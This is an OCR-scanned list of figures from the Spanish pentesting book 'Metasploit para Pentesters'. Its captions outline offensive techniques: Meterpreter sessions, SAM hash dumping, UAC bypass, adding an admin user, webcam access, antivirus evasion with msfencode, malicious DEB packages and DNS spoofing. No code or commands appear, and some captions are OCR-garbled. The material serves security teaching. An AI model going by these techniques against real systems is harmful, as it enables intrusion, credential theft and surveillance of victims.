Índice de imágenes y tablas lli
Fig 3.33: Configuración de fakedns . ................................................................................................ 89
Fig 3.34: Configuración exploitlmultilbrowserljava_signed_applet. .............................................. 90
Fig 3.35: Cuadro de diálogo applet.................................................................................................. 90
Fig 3.36: Obtención sesión inversa del applet................................................................................. 91
Fig 3.37: Actualización automática con msfupdate . ........................................................................ 93
Fig 3.38: Descarga de exploit........................................................................................................... 94
Fig 3.39: Adición de un exploit a una ruta de Metasploit. ............................................................... 95
Fig 3.40: Acceso al exploit añadido alframework. .......................................................................... 95
Fig 4.01: Listado de core commands de Meterpreter. ...................................................................... 99
Fig 4.02: Ejecución de los background commands........................................................................ 100
Fig 4.03: Interacción con el canal creado en un proceso . .............................................................. 101
Fig 4.04: Listado de.file system commands de Meterpreter ........................................................... 102
Fig 4.05: Subida y descarga de archivos a la máquina vulnerada.................................................. 103
Fig 4.06: Listado de comandos para gestión de red con Meterpreter. ........................................... 103
Fig 4.07: Listado de comandos de sistema de Meterpreter . .......................................................... 103
Fig 4.08: Listado de comandos para gestionar la interfaz de usuario de Meterpreter. .................. 105
Fig 4.09: Listado de comandos relacionados con el micrófono y la webcam. .............................. 105
Fig 4.1O: Listado de comandos del módulo priv............................................................................ 106
Fig 4.11: Elevación de privilegios en un sistema Windows XP vulnerado. ................................... 107
Fig 4.12: Volcado de usuarios y hashes de la SAM....................................................................... 107
Fig 4.13: Manipulación de atributos de un fichero en el equipo remoto. ...................................... 108
Fig 4.14: Visualizar listado de scripts disponibles en una sesión de Meterpreter. ......................... 108
Fig 4.15: Ejecución del script winenum......................................................................................... 109
Fig 4.16: Archivos generados por el script winenum..................................................................... 110
Fig 4.17: Habilitar servicio de escritorio remoto con getgui. ........................................................ 112
Fig 4.18: Adición del usuario hacked al grupo de administradores ............................................... 112
Fig 4.19: Conexión mediante escritorio remoto a la máquina vulnerada. ..................................... 113
Fig 4.20: Proceso automatizado para eliminación y desactivación del servicio RDP. .................. 113
Fig 4.21: Lista de scripts de gestión de postlwindowslmanage..................................................... 115
Fig 4.22: Listado de scripts para recolección de credenciales en la máquina vulnerada............... 116
Fig 4.23: Listado de scripts para enumerar recursos y propiedades. ............................................. 116
Fig 4.24: Obtención de hashes de dominio para su posterior cracking. ........................................ 117
Fig 4.25: Cracking de hashes MSCashv1 con John The Ripper .................................................... 117
Fig 4.26: Obtención de la consola de Meterpreter ......................................................................... 118
Fig 4.27: Intento de elevación de privilegios sin éxito. ................................................................. 118
Fig 4.28: Ejecución del script postlwindowslescalatelbypassuac . ................................................ 119
Fig 4.29: Elevación de privilegios con éxito en Windows 7. ......................................................... 119
Fig 4.30: Obtención del listado de redes wireless de una máquina Windows 7. ............................ 120
Fig 4.31: Volcado de información sensible de redes wireless........................................................ 120
Fig 4.32: Ejecución de mu/ti_meter_inject. ................................................................................... 122
Fig 4.33: Obtención de sesión de Meterpreter mediante la utilización de multi_meter_inject. .... 122
Fig 4.34: Listado de módulos para la carga en Meterpreter. .......................................................... 123
Fig 4.35: Ejecución de screengrab sobre máquina vulnerada. ...................................................... 123
•••
IM Metasploit para Pentesters
•••
Índice de imágenes y tablas 111
Fig 4.79: Obtención de la memoria del proceso de Firefox en una máquina vulnerada................ 154
Fig 4.80: Obtención de credenciales del proceso de Firefox. ........................................................ 154
Fig 4.81: Realización del volcado de la memoria RAM de manera remota. ................................. 155
Fig 4.82 Descarga del volcado completo de la memoria RAM de la máquina vulnerada............. 155
Fig 4.83: Recuperación de conexiones activas del fichero del volcado de la RAM remota.......... 156
Fig 4.84: Recuperación del listado de procesos del fichero del volcado de la RAM remota. ....... 156
Fig 4.85: Explotación con inyección de windows/vncinject/reverse_tcp. ..................................... 157
Fig 4.86: Obtención de la visión de un escritorio remoto con VNC en la sesión de la víctima.... 157
Fig 4.87: Redirección de paquetes a través del comando portfwd. ................................................ 159
Fig 4.88: Petición http a través de una máquina vulnerada. .......................................................... 159
Fig 4.89: Captura de Wireshark donde se visualiza el origen de la petición. ................................ 160
Fig 5.01: Msftools disponibles en BackTrack 5. ........................................................................... 162
Fig 5.02: Modos de ejecución de msfcli......................................................................................... 163
Fig 5.03: Ejecución msfcli en modo summary. .............................................................................. 163
Fig 5.04: Ejecución msfcli en modo options.................................................................................. 164
Fig 5.05: Ejecución msfcli en modo payloads. .............................................................................. 164
Fig 5.06: Ejecución msfcli en modo targets................................................................................... 165
Fig 5.07: Ejecución msfcli en modo check..................................................................................... 165
Fig 5.08: Esquema básico de la fase de explotación...................................................................... 167
Fig 5.09: Configuración del servidor con el módulo browser autopwn......................................... 168
Fig 5.10: Configuración de msfcli para recibir gestionar o recibir sesiones inversas. ................... 169
Fig 5.11: Obtención de una sesión inversa con msfcli. .................................................................. 169
Fig 5.12: Modos de ejecución de msfpayload. ............................................................................... 170
Fig 5.13: Ejecución Summary de msfpayload. ............................................................................... 171
Fig 5.14: Obtención variable en C delpayload windows/adduser. ................................................ 171
Fig 5.15: Obtención variable en Ruby delpayload windows/adduser. .......................................... 172
Fig 5.16: Obtención de código máquina........................................................................................ 172
Fig 5.17: Estado de la pila en el instante previo de la ejecución de la llamada a strcpy. ............... 174
Fig 5.18: Estado de la pila en el instante previo a finalizar la ejecución de la función strcpy. ...... 174
Fig 5.19: Localización de una instrucción de salto incondicional a la pila. .................................. 175
Fig 5.20: Creación de un ejecutable con el payload Meterpreter. ................................................. 176
Fig 5.21: A la escucha de sesiones inversas con msfcli.................................................................. 177
Fig 5.22: Obtención del control total de una máquina víctima...................................................... 177
Fig 5.23: Generación de archivo binario para sistemas GNU/Linux. ............................................ 178
Fig 5.24: Obtención de una shell inversa de un sistema operativo GNU/Linux. ........................... 178
Fig 5.25: Ejecución del paquete DEB en una distribución Ubuntu. .............................................. 180
Fig 5.26: Obtención de una shell inversa en máquina Ubuntu a través de un DEB malicioso...... 180
Fig 5.27: Resultados del análisis de un ejecutable con unpayload. .............................................. 181
Fig 5.28: Listado de codificadores disponibles con msfencode. .................................................... 182
Fig 5.29: Creación de un ejecutable codificado con msfencode. ................................................... 183
Fig 5.30: Obtención de resultados de la codificación simple en Virus Total. ................................ 183
Fig 5.31: Obtención de ejecutable con la técnica de codificación múltiple................................... 184
Fig 5.32: Obtención de resultados en virus total de la técnica de codificación múltiple............... 185
•••
IW:i Metasploit para Pentesters
•••
Índice de imágenes y tablas
IW
Fig 6.28: Generación de un QRCode malicioso............................................................................. 221
Fig 6.29: QRCode generado con SET ............................................................................................ 221
Fig 6.30: Menú con las posibilidades del vector de ataque de PowerShell ................................... 222
Fig 6.31: Generación del script para la inyección en sistemas Windows....................................... 222
Fig 6.32 Recepción de la sesión de Meterpreter tras la ejecución del script de PowerShell......... 223
Fig 6.33: Ejecución del ataque en una sesión de PowerShell ........................................................ 223
Fig 6.34: Envenenamiento de la máquina víctima ......................................................................... 224
Fig 6.35: Ejecución de dnsspoof en la máquina del atacante......................................................... 225
Fig 6.36: Navegador de la víctima accediendo al sitio web falso .................................................. 225
Fig 6.37: Modificaciones de dnsspoof a las peticiones DNS originales ........................................ 226
Fig 7.01: Modos de ejecución de Fast-Track................................................................................. 228
Fig 7.02: Lanzamiento de Fast-Track en modo interactivo........................................................... 229
Fig 7.03: Ejecución de Fast-Track modo consola. ........................................................................ 230
Fig 7.04: Configuración del sitio web para interactuar conFast-Track. ....................................... 231
Fig 7.05: Acceso a Fast-Track mediante el navegador web. ......................................................... 232
Fig 7.06: Elección de la opción de tutoriales................................................................................. 232
Fig 7.07: Tutoriales disponibles en Fast-Track. ............................................................................. 233
Fig 7.08: Ayuda sobre una herramienta completa.......................................................................... 233
Fig 7.09: Fichero de configuración de Fast-Track. ........................................................................ 234
Fig 7.10: Elección deAutopwnAutomation ................................................................................... 235
Fig 7.11: Ejecución de orden en nmap........................................................................................... 235
Fig 7.12: Elección del método de conexión cuando se explote una máquina mediante autopwn. 236
Fig 7.13: Menú de SQL Injector. .................................................................................................... 237
Fig 7.14: Menú de SQL Bruter. ...................................................................................................... 237
Fig 7.15: Menú de SQLPwnage..................................................................................................... 237
Fig 7.16: Configuración deARP Spoofing. .................................................................................... 238
Fig 7.17: Elección de payload en Mass Client-Side Attack........................................................... 238
Fig 7.18: Ventanas del ataque Mass Client-Side............................................................................ 238
Fig 7.19: Listado de exploits por defecto que presentaFast-Track. .............................................. 239
Fig 7.20: Conversión del binario nc.exe a hexadecimal en el archivo binarypayload.txt. ............ 240
Fig 7.21: Elección de la opción Payload Generator. ..................................................................... 240
Fig 7.22: Elección del payload para el archivo final. .................................................................... 241
Fig 7.23: Elección del encoder para el archivo final. .................................................................... 241
Fig 7.24: Configuración delpayload. ............................................................................................ 242
Fig 7.25: Obtención de sesión inversa en la máquina remota........................................................ 242
Fig 8.01: Instalación de subversion, nano y wget.......................................................................... 246
Fig 8.02: Elección de punto de descarga de Metasploit en /private/var. ....................................... 246
Fig 8.03: Descarga de Ruby............................................................................................................ 247
Fig 8.04: Desempaquetado e instalación de Ruby. ......................................................................... 247
Fig 8.05: Instalación de rubygems. ................................................................................................ 247
Fig 8.06: Descarga del paquete Metasploit con wget desde la web del proyecto. ......................... 247
Fig 8.07: Metasploit funcionando en un iPad................................................................................ 248
Fig 8.08: SET ejecutándose en un iPhone . .................................................................................... 248
•••
MJm• Metasploit para Pentesters
•••
Índice de imágenes y tablas IN•
Indice de tablas
•••